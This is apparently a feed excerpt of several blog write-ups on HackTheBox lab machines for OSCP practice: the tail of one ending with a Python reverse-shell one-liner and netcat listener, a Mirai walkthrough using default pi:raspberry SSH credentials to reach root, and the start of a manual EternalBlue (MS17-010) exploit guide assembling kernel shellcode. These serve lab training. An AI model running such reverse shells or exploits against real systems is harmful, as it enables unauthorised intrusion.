&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5fvsvv5ssullb34dfbdt.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5fvsvv5ssullb34dfbdt.PNG" alt="Alt Text" width="668" height="125"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From here head over to &lt;strong&gt;Payload all the Things Github&lt;/strong&gt; &lt;a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python" rel="noopener noreferrer"&gt;link&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;



&lt;p&gt;&lt;code&gt;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;p&gt;Update the &lt;strong&gt;IP address&lt;/strong&gt; to your &lt;strong&gt;tun0 address&lt;/strong&gt;.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Use the command above!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsqqvls12nmcdhran16p9.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsqqvls12nmcdhran16p9.PNG" alt="Alt Text" width="800" height="132"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before hitting enter, open up Netcat on another window.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nc -nvlp 1234&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We can now run the same priv esc as before. This time we will be on a more stable instance!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffy0qq325ep9ouo6wzvum.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffy0qq325ep9ouo6wzvum.PNG" alt="Alt Text" width="800" height="111"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fukp1h0ww742oef5k6g81.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fukp1h0ww742oef5k6g81.PNG" alt="Alt Text" width="800" height="358"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fub79lrykn6zoru6rf9x2.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fub79lrykn6zoru6rf9x2.PNG" alt="Alt Text" width="405" height="240"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Way to go you got it!!&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>webdev</category>
      <category>python</category>
    </item>
    <item>
      <title>Writeup: HackTheBox Mirai- Without Metasploit (OSCP Prep)</title>
      <dc:creator>Chris</dc:creator>
      <pubDate>Mon, 05 Jul 2021 14:17:16 +0000</pubDate>
      <link>https://dev.to/xyzchris0/writeup-hackthebox-mirai-without-metasploit-oscp-prep-707</link>
      <guid>https://dev.to/xyzchris0/writeup-hackthebox-mirai-without-metasploit-oscp-prep-707</guid>
      <description>&lt;p&gt;Hello Again All!&lt;/p&gt;

&lt;p&gt;Here with another write up and this time it will be Mirai from HackTheBox.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Difficulty level: Easy&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So lets begin!&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Nmap -sC -sV -T4 -oN nmap.txt 10.10.10.48&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;-sC = equivalent to --script=default&lt;/li&gt;
&lt;li&gt;-sV = Probe open ports to determine service/Versions info&lt;/li&gt;
&lt;li&gt;-T4 = Set timing for faster output (0-5)&lt;/li&gt;
&lt;li&gt;-oN = Output to save it to a file&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjr0w6lrm6817qsmigw1y.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjr0w6lrm6817qsmigw1y.JPG" alt="Alt Text" width="767" height="720"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Open Ports displayed:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;22 OpenSSH&lt;/li&gt;
&lt;li&gt;53 DNSmasq&lt;/li&gt;
&lt;li&gt;80 Lighthttpd&lt;/li&gt;
&lt;li&gt;1185 Platinum&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Let's head over to the website to see what is there.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnqcw8oqucno05x8p9sw3.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnqcw8oqucno05x8p9sw3.PNG" alt="Alt Text" width="513" height="403"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nothing appears to display when going to the site so let's try the following.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Right-click&lt;/strong&gt; on the page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm8z99xh8c6ynr17i1vay.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm8z99xh8c6ynr17i1vay.PNG" alt="Alt Text" width="513" height="403"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Still nothing is displaying.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbchz8iuixetexds9cf27.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbchz8iuixetexds9cf27.PNG" alt="Alt Text" width="461" height="121"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Alright, lets check out the other ports open on the box.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;ssh 10.10.10.48&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fljohjsl27y1eec7l6akt.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fljohjsl27y1eec7l6akt.PNG" alt="Alt Text" width="633" height="179"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So no luck with trying to just SSH into the machine. I am going to run a nmap Vuln Scan on the machine to check.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;Nmap --script vuln -oN vuln.txt 10.10.10.48&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbfgd2b8602yquyfsmmj9.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbfgd2b8602yquyfsmmj9.PNG" alt="Alt Text" width="800" height="228"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you scroll down to the middle of the page there is a reference to something called "Pi-Hole".&lt;/p&gt;

&lt;p&gt;I am going to try something else to see if anything comes up.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;curl -vvv 10.10.10.48&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Simply curl or command-line tool and library for transferring data with URLs.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F79kw5uxxwj540h3jhbrx.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F79kw5uxxwj540h3jhbrx.PNG" alt="Alt Text" width="781" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So we can now see again there is something with &lt;strong&gt;"Pi-Hole"&lt;/strong&gt; going on here.&lt;/p&gt;

&lt;p&gt;Directory Busting is usually helpful when trying to find hidden directories on a site.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;dirb &lt;a href="http://10.10.10.48" rel="noopener noreferrer"&gt;http://10.10.10.48&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmfckyxc82yfpkzemw6o9.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmfckyxc82yfpkzemw6o9.PNG" alt="Alt Text" width="638" height="253"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After a few minuets of this running we come back with a success with &lt;strong&gt;/admin/&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Great, lets now head over to the site to see if there is anything there.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffc7xd2l6h0gn78squg0v.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffc7xd2l6h0gn78squg0v.PNG" alt="Alt Text" width="800" height="470"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So if you never heard of &lt;strong&gt;Pi-Hole&lt;/strong&gt; or &lt;strong&gt;Pihole&lt;/strong&gt; this is a linux network-level advertisement and internet tracker blocking application which acts as a DNS Sinkhole and/or DHCP Server.&lt;/p&gt;

&lt;p&gt;After playing around withthe site for a few minuets I head over to the &lt;strong&gt;Login&lt;/strong&gt; landing page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg0vt0kxpcpuq4mtwgu5l.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg0vt0kxpcpuq4mtwgu5l.PNG" alt="Alt Text" width="560" height="743"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So I tried doing a few things here, attempted to use Hydra to gain access on the site as well as use hydra for the SSH login but no  luck. From here I head over to Google.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb7wdfn6e4p72hudcno0b.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb7wdfn6e4p72hudcno0b.PNG" alt="Alt Text" width="705" height="494"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So it looks like the Username/Password gets set to pi:raspberry.&lt;/p&gt;

&lt;p&gt;I tried using this on the login page but that didn't work so I turned to the SSH login.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;ssh &lt;a href="mailto:pi@10.10.10.48"&gt;pi@10.10.10.48&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;raspberry&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7zni089c0y8ksd1cvrkr.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7zni089c0y8ksd1cvrkr.PNG" alt="Alt Text" width="800" height="438"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looks like we got our first access to the SSH server!&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;wc user.txt&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzosg8w4fg4zppj895fay.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzosg8w4fg4zppj895fay.PNG" alt="Alt Text" width="638" height="201"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Lets run some Sudo commands.&lt;/p&gt;

&lt;p&gt;sudo &lt;strong&gt;-l&lt;/strong&gt; will list the allowed and forbidden commands for the invoking user on the current host.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;sudo -l&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxr4laaksvrs4i8w01g9e.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxr4laaksvrs4i8w01g9e.PNG" alt="Alt Text" width="800" height="162"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Welp that is interesting....&lt;/p&gt;

&lt;p&gt;Alright I am going to try and switch users.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;sudo su-&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;whoami&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Few917y42rg9rbu2ajlsi.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Few917y42rg9rbu2ajlsi.PNG" alt="Alt Text" width="800" height="266"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;ls&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;cat root.txt&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0i6ph1v464j14py0n535.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0i6ph1v464j14py0n535.PNG" alt="Alt Text" width="800" height="112"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looks like someone removed the root.txt from this file and its in a USB stick....&lt;/p&gt;

&lt;p&gt;Take the time and go into the files and see if there is anything that pops-out at you.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;ls -la&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frjr1lodf64o6it36fw21.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frjr1lodf64o6it36fw21.PNG" alt="Alt Text" width="800" height="498"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After some searching I come across the &lt;strong&gt;/media&lt;/strong&gt; location with a usbstick there.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;cd media&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;ls&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;cd usbstick&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;cat damnit.txt&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwgiwanbhmt6cjd1ddzv5.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwgiwanbhmt6cjd1ddzv5.PNG" alt="Alt Text" width="800" height="305"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It appears that someone else deleted your files off the usb stick. &lt;/p&gt;

&lt;h1&gt;
  
  
  Commnd:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;df -lh&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Df = Will report file system disk space usage&lt;/li&gt;
&lt;li&gt;lh = local and print sizes in powers of 1024
Nice cheat sheet on these commands &lt;a href="https://man7.org/linux/man-pages/man1/df.1.html" rel="noopener noreferrer"&gt;Link&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Will show free disk space and lets focus on the &lt;strong&gt;/media/usbstick&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa9rgvgeogl2l6bwc21po.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa9rgvgeogl2l6bwc21po.PNG" alt="Alt Text" width="800" height="333"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can use &lt;strong&gt;Strings&lt;/strong&gt; to look for characters or you could have used &lt;strong&gt;cat&lt;/strong&gt; as well.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;strings /dev/sdb&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyg19qcsdvbtc5jqsps30.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyg19qcsdvbtc5jqsps30.PNG" alt="Alt Text" width="800" height="516"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Thanks for stopping by!&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>hackthebox</category>
      <category>webdev</category>
      <category>security</category>
    </item>
    <item>
      <title>Manually Exploiting MS17-010 (python2 to python3)</title>
      <dc:creator>Chris</dc:creator>
      <pubDate>Wed, 05 May 2021 16:52:32 +0000</pubDate>
      <link>https://dev.to/xyzchris0/manually-exploiting-ms17-010-python2-to-python3-3l2k</link>
      <guid>https://dev.to/xyzchris0/manually-exploiting-ms17-010-python2-to-python3-3l2k</guid>
      <description>&lt;h4&gt;
  
  
  This is a quick write-up on how to exploit MS17-10 after enumerating your victim machine.
&lt;/h4&gt;

&lt;p&gt;I was trying to run Auto-Blue but with the switch from python2 to python3 I was hitting some hurdles. I read somewhere that you can run pyenv as a workaround but I needed this to work in a crunch. This was pulled from the root4loot blogpost and all thanks really goes to them on this one, check it out! &lt;a href="https://root4loot.com/post/eternalblue_manual_exploit/" rel="noopener noreferrer"&gt;Link&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;Step 1. Grab the code from &lt;a href="https://github.com/worawit/MS17-010" rel="noopener noreferrer"&gt;https://github.com/worawit/MS17-010&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;git clone &lt;a href="https://github.com/worawit/MS17-010" rel="noopener noreferrer"&gt;https://github.com/worawit/MS17-010&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4kb3a1q02xmre0couh21.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4kb3a1q02xmre0couh21.JPG" alt="Alt Text" width="757" height="148"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 2. Display the contents of the folder&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;ls -l MS17-010/shellcode/&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fat2ppby0uozyj3pwo6t5.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fat2ppby0uozyj3pwo6t5.JPG" alt="Alt Text" width="732" height="104"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 3. The next step in their walk-through is to assemble both the x64 and x86 shellcode then merge them below. You can get away with only doing 1 but if you dont know the arch then it could not work.&lt;/p&gt;

&lt;p&gt;Assemble kernel shellcode with nasm.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;nasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin&lt;/strong&gt;&lt;/p&gt;

